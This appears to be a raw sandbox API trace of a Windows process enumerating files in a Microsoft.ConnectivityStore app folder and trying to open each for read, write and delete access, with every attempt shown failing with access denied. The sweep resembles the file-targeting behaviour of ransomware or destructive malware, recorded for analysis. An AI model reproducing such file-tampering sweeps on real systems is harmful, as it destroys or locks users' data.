	[0081.733] wcscpy (in: _Dest=0x4717a60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ"
	[0081.733] wcscat (in: _Dest=0x4717a60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\"
	[0081.733] wcscat (in: _Dest=0x4717a60, _Source="en-gb" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-gb") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-gb"
	[0091.950] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47180e0
	[0091.950] wcscpy (in: _Dest=0x47180e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-gb" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-gb") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-gb"
	[0091.950] wcscat (in: _Dest=0x47180e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-gb\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-gb\\"
	[0091.950] wcscat (in: _Dest=0x47180e0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-gb\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-gb\\*"
	[0091.950] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f700
	[0091.950] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-gb\\*", lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08c849, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b4e8
	[0091.950] wcscmp (_String1=".", _String2=".") returned 0
	[0091.950] FindNextFileW (in: hFindFile=0x477b4e8, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08c849, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.950] wcscmp (_String1="..", _String2=".") returned 1
	[0091.950] wcscmp (_String1="..", _String2="..") returned 0
	[0091.950] FindNextFileW (in: hFindFile=0x477b4e8, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd547e1a3, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1d72, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAQ.htm", cAlternateFileName="")) returned 1
	[0091.951] wcscmp (_String1="FAQ.htm", _String2=".") returned 1
	[0091.951] wcscmp (_String1="FAQ.htm", _String2="..") returned 1
	[0091.951] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477fa70
	[0091.951] wcscpy (in: _Dest=0x477fa70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-gb" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-gb") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-gb"
	[0091.951] wcscat (in: _Dest=0x477fa70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-gb\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-gb\\"
	[0091.951] wcscat (in: _Dest=0x477fa70, _Source="FAQ.htm" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-gb\\FAQ.htm") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-gb\\FAQ.htm"
	[0091.951] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-gb\\FAQ.htm" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\faq\\en-gb\\faq.htm")) returned 0x20
	[0091.952] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-gb\\FAQ.htm", dwFileAttributes=0x20) returned 0
	[0091.953] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-gb\\FAQ.htm" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\faq\\en-gb\\faq.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.953] GetLastError () returned 0x5
	[0091.953] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-gb\\FAQ.htm", dwFileAttributes=0x20) returned 0
	[0091.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477fa70) returned 1
	[0091.953] FindNextFileW (in: hFindFile=0x477b4e8, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd547e1a3, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1d72, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAQ.htm", cAlternateFileName="")) returned 0
	[0091.953] FindClose (in: hFindFile=0x477b4e8 | out: hFindFile=0x477b4e8) returned 1
	[0091.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f700) returned 1
	[0091.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47180e0) returned 1
	[0091.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717a60) returned 1
	[0091.953] FindNextFileW (in: hFindFile=0x2d87db8, lpFindFileData=0x4746878 | out: lpFindFileData=0x4746878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08d12b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0091.953] wcscmp (_String1="en-US", _String2=".") returned 1
	[0091.953] wcscmp (_String1="en-US", _String2="..") returned 1
	[0091.953] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x4718eb0
	[0091.953] wcscpy (in: _Dest=0x4718eb0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ"
	[0091.953] wcscat (in: _Dest=0x4718eb0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\"
	[0091.953] wcscat (in: _Dest=0x4718eb0, _Source="en-US" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-US") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-US"
	[0091.954] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4717b30
	[0091.954] wcscpy (in: _Dest=0x4717b30, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-US" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-US") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-US"
	[0091.954] wcscat (in: _Dest=0x4717b30, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-US\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-US\\"
	[0091.954] wcscat (in: _Dest=0x4717b30, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-US\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-US\\*"
	[0091.954] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f700
	[0091.954] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-US\\*", lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08d12b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0091.954] wcscmp (_String1=".", _String2=".") returned 0
	[0091.954] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08d12b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.954] wcscmp (_String1="..", _String2=".") returned 1
	[0091.954] wcscmp (_String1="..", _String2="..") returned 0
	[0091.954] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd547e1a3, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1db6, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAQ.htm", cAlternateFileName="")) returned 1
	[0091.954] wcscmp (_String1="FAQ.htm", _String2=".") returned 1
	[0091.954] wcscmp (_String1="FAQ.htm", _String2="..") returned 1
	[0091.954] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477fa70
	[0091.954] wcscpy (in: _Dest=0x477fa70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-US" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-US") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-US"
	[0091.954] wcscat (in: _Dest=0x477fa70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-US\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-US\\"
	[0091.954] wcscat (in: _Dest=0x477fa70, _Source="FAQ.htm" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-US\\FAQ.htm") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-US\\FAQ.htm"
	[0091.954] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-US\\FAQ.htm" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\faq\\en-us\\faq.htm")) returned 0x20
	[0091.954] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-US\\FAQ.htm", dwFileAttributes=0x20) returned 0
	[0091.954] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-US\\FAQ.htm" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\faq\\en-us\\faq.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.955] GetLastError () returned 0x5
	[0091.955] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-US\\FAQ.htm", dwFileAttributes=0x20) returned 0
	[0091.955] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477fa70) returned 1
	[0091.955] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd547e1a3, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1db6, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAQ.htm", cAlternateFileName="")) returned 0
	[0091.955] FindClose (in: hFindFile=0x477b068 | out: hFindFile=0x477b068) returned 1
	[0091.955] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f700) returned 1
	[0091.955] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717b30) returned 1
	[0091.955] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718eb0) returned 1
	[0091.955] FindNextFileW (in: hFindFile=0x2d87db8, lpFindFileData=0x4746878 | out: lpFindFileData=0x4746878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08d12b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0091.955] FindClose (in: hFindFile=0x2d87db8 | out: hFindFile=0x2d87db8) returned 1
	[0091.955] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4746878) returned 1
	[0091.955] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cb0f8) returned 1
	[0091.955] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c8020) returned 1

Thread:
	id = 555
	os_tid = 0x17d4

	[0077.454] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x2e46a98
	[0077.454] wcscpy (in: _Dest=0x2e46a98, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0077.454] wcscat (in: _Dest=0x2e46a98, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0077.454] wcscat (in: _Dest=0x2e46a98, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0077.454] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4746fb0
	[0077.454] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x4746fb0 | out: lpFindFileData=0x4746fb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x628cd443, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xab08dbee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628cd443, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacf38
	[0081.975] wcscmp (_String1=".", _String2=".") returned 0
	[0081.975] FindNextFileW (in: hFindFile=0x2dacf38, lpFindFileData=0x4746fb0 | out: lpFindFileData=0x4746fb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x628cd443, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xab08dbee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628cd443, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.975] wcscmp (_String1="..", _String2=".") returned 1
	[0081.975] wcscmp (_String1="..", _String2="..") returned 0
	[0081.975] FindNextFileW (in: hFindFile=0x2dacf38, lpFindFileData=0x4746fb0 | out: lpFindFileData=0x4746fb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x628cd443, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xab08dbee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628cd443, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0081.975] FindClose (in: hFindFile=0x2dacf38 | out: hFindFile=0x2dacf38) returned 1
	[0081.975] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4746fb0) returned 1
	[0081.975] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e46a98) returned 1
	[0081.975] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e473f0) returned 1

Thread:
	id = 556
	os_tid = 0x17d8

	[0077.460] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Package.StoreAssociation.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\package.storeassociation.xml")) returned 0x20
	[0081.976] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Package.StoreAssociation.xml", dwFileAttributes=0x20) returned 0
	[0081.976] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Package.StoreAssociation.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\package.storeassociation.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.976] GetLastError () returned 0x5
	[0081.976] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Package.StoreAssociation.xml", dwFileAttributes=0x20) returned 0
	[0081.976] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e474f0) returned 1

Thread:
	id = 557
	os_tid = 0x17dc

	[0077.461] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\resources.pri")) returned 0x20
	[0081.733] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0081.733] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.733] GetLastError () returned 0x5
	[0081.733] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0081.733] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e113f0) returned 1

Thread:
	id = 558
	os_tid = 0x17e0

	[0077.463] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2e11168
	[0077.463] wcscpy (in: _Dest=0x2e11168, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService"
	[0077.463] wcscat (in: _Dest=0x2e11168, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\"
	[0077.463] wcscat (in: _Dest=0x2e11168, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\*"
	[0077.463] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4746d48
	[0077.463] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\*", lpFindFileData=0x4746d48 | out: lpFindFileData=0x4746d48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08e5b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87df8
	[0081.734] wcscmp (_String1=".", _String2=".") returned 0
